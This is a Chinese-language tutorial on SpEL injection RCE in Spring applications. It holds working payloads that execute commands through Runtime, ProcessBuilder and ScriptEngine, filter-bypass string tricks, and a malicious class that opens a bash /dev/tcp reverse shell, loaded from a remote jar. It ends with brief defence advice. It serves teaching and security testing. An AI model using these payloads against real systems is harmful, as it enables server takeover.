SpEL注入RCE分析与绕过
字数 816 2025-08-06 08:35:37

SpEL注入RCE分析与绕过技术详解

1. SpEL基础介绍

Spring表达式语言(SpEL, Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。其特点包括:

  • 语法类似于OGNL、MVEL和JBoss EL
  • 支持方法调用和基本字符串模板
  • 可独立使用,不直接与Spring绑定

基本用法示例

// 示例1:不注册新变量
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
System.out.println(exp.getValue()); // 输出: Hello World!

// 示例2:自定义注册变量
public class Spel {
    public String name = "何止";
    public static void main(String[] args) {
        Spel user = new Spel();
        StandardEvaluationContext context = new StandardEvaluationContext();
        context.setVariable("user", user);
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression("#user.name");
        System.out.println(expression.getValue(context).toString()); // 输出: 何止
    }
}

2. SpEL注入RCE基础方法

2.1 使用ProcessBuilder

// Java代码等效
String[] str = new String[]{"open", "/System/Applications/Calculator.app"};
ProcessBuilder p = new ProcessBuilder(str);
p.start();

// SpEL表达式
new java.lang.ProcessBuilder(new String[]{"open", "/System/Applications/Calculator.app"}).start()

// 简化版(省略java.lang包)
new ProcessBuilder(new String[]{"open", "/System/Applications/Calculator.app"}).start()

2.2 使用Runtime类

// Java代码等效
Runtime rt = Runtime.getRuntime();
rt.exec(new String[]{"open", "/System/Applications/Calculator.app"});

// SpEL表达式(字符串参数)
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")

// SpEL表达式(字符串数组)
T(Runtime).getRuntime().exec(new String[]{"open", "/System/Applications/Calculator.app"})

2.3 使用ScriptEngine

// 获取所有JS引擎信息
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory : factories) {
    System.out.printf("Name: %s%nVersion: %s%nLanguage name: %s%nLanguage version: %s%nExtensions: %s%nMime types: %s%nNames: %s%n",
            factory.getEngineName(), factory.getEngineVersion(), factory.getLanguageName(),
            factory.getLanguageVersion(), factory.getExtensions(), factory.getMimeTypes(),
            factory.getNames());
}

// SpEL表达式(nashorn引擎)
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")

// SpEL表达式(javascript引擎)
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")

3. 反射构造RCE方法

3.1 使用UrlClassLoader

// 示例Exp.java(用于构造恶意jar)
public class Exp {
    public Exp(String address) {
        address = address.replace(":", "/");
        ProcessBuilder p = new ProcessBuilder("/bin/bash", "-c", 
            "exec 5<>/dev/tcp/" + address + ";cat <&5 | while read line; do $line 2>&5 >&5; done");
        try {
            p.start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

// SpEL表达式
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")})
    .loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")

3.2 使用AppClassLoader

// 加载Runtime执行
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime")
    .getRuntime().exec("open /System/Applications/Calculator.app")

// 加载ProcessBuilder执行
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder")
    .getConstructors()[1].newInstance(new String[]{"open", "/System/Applications/Calculator.app"}).start()

3.3 通过其他类获取AppClassLoader

// 使用Spring框架类
T(org.springframework.expression.Expression).getClass().getClassLoader()

// 使用Thymeleaf类
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

// 使用自定义类
T(com.ctf.controller.Demo).getClass().getClassLoader()

3.4 通过内置对象加载UrlClassLoader

// 使用request对象
request.getClass().getClassLoader().loadClass("java.lang.Runtime")
    .getMethod("getRuntime").invoke(null).exec("touch /tmp/foobar")

// 使用this关键字
#this.getClass().forName("javax.script.ScriptEngineManager")
    .newInstance().getEngineByName("js")
    .eval("java.lang.Runtime.getRuntime().exec('xterm')")

4. 字符串构造与绕过技巧

4.1 使用T(类名).getName()构造字符串

// 示例
[[${T(String).getName()}]]  // 结果为java.lang.String

// 构造特定字符串
[[${T(String).getName()[0].replace(106,104)+
   T(String).getName()[0].replace(106,51)+
   T(String).getName()[0].replace(106,122)+
   T(String).getName()[0].replace(106,104)+
   T(String).getName()[0].replace(106,49)}]]  // 回显h3zh1

4.2 使用Character类构造字符串

[[${T(Character).toString(104)+
   T(Character).toString(51)+
   T(Character).toString(122)+
   T(Character).toString(104)+
   T(Character).toString(49)}]]  // 回显h3zh1

4.3 外部可控字符绕过

// POST方法构造字符串
#request.getMethod().substring(0,1).replace(80,104)%2b
#request.getMethod().substring(0,1).replace(80,51)%2b
#request.getMethod().substring(0,1).replace(80,122)%2b
#request.getMethod().substring(0,1).replace(80,104)%2b
#request.getMethod().substring(0,1).replace(80,49)

// GET方法构造字符串
#request.getMethod().substring(0,1).replace(71,104)%2b
#request.getMethod().substring(0,1).replace(71,51)%2b
#request.getMethod().substring(0,1).replace(71,122)%2b
#request.getMethod().substring(0,1).replace(71,104)%2b
#request.getMethod().substring(0,1).replace(71,49)

// 使用cookie绕过
[[${#request.getRequestedSessionId()}]]

5. 关键知识点总结

  1. T()操作符:用于获取类的静态方法,格式为T(全限定类名).方法名()
  2. #操作符:用于标记对象
  3. 反射机制:通过反射可以动态获取类信息并调用方法
  4. ClassLoader类型
    • UrlClassLoader:可加载远程类库
    • AppClassLoader:加载Classpath环境变量定义的路径
  5. 字符串构造技巧
    • 使用类名获取字符串
    • 使用Character类构造
    • 利用请求参数动态构造

6. 防御建议

  1. 使用SimpleEvaluationContext替代StandardEvaluationContext
  2. 对用户输入进行严格过滤
  3. 避免将用户输入直接作为SpEL表达式解析
  4. 限制可访问的Java类和包

7. 参考资源

  1. 由浅入深SpEL表达式注入漏洞
  2. EL表达式语言
  3. Spring官方SpEL文档
  4. SpringSpel注入漏洞利用
SpEL注入RCE分析与绕过技术详解 1. SpEL基础介绍 Spring表达式语言(SpEL, Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。其特点包括: 语法类似于OGNL、MVEL和JBoss EL 支持方法调用和基本字符串模板 可独立使用,不直接与Spring绑定 基本用法示例 2. SpEL注入RCE基础方法 2.1 使用ProcessBuilder 2.2 使用Runtime类 2.3 使用ScriptEngine 3. 反射构造RCE方法 3.1 使用UrlClassLoader 3.2 使用AppClassLoader 3.3 通过其他类获取AppClassLoader 3.4 通过内置对象加载UrlClassLoader 4. 字符串构造与绕过技巧 4.1 使用T(类名).getName()构造字符串 4.2 使用Character类构造字符串 4.3 外部可控字符绕过 5. 关键知识点总结 T()操作符 :用于获取类的静态方法,格式为 T(全限定类名).方法名() #操作符 :用于标记对象 反射机制 :通过反射可以动态获取类信息并调用方法 ClassLoader类型 : UrlClassLoader:可加载远程类库 AppClassLoader:加载Classpath环境变量定义的路径 字符串构造技巧 : 使用类名获取字符串 使用Character类构造 利用请求参数动态构造 6. 防御建议 使用 SimpleEvaluationContext 替代 StandardEvaluationContext 对用户输入进行严格过滤 避免将用户输入直接作为SpEL表达式解析 限制可访问的Java类和包 7. 参考资源 由浅入深SpEL表达式注入漏洞 EL表达式语言 Spring官方SpEL文档 SpringSpel注入漏洞利用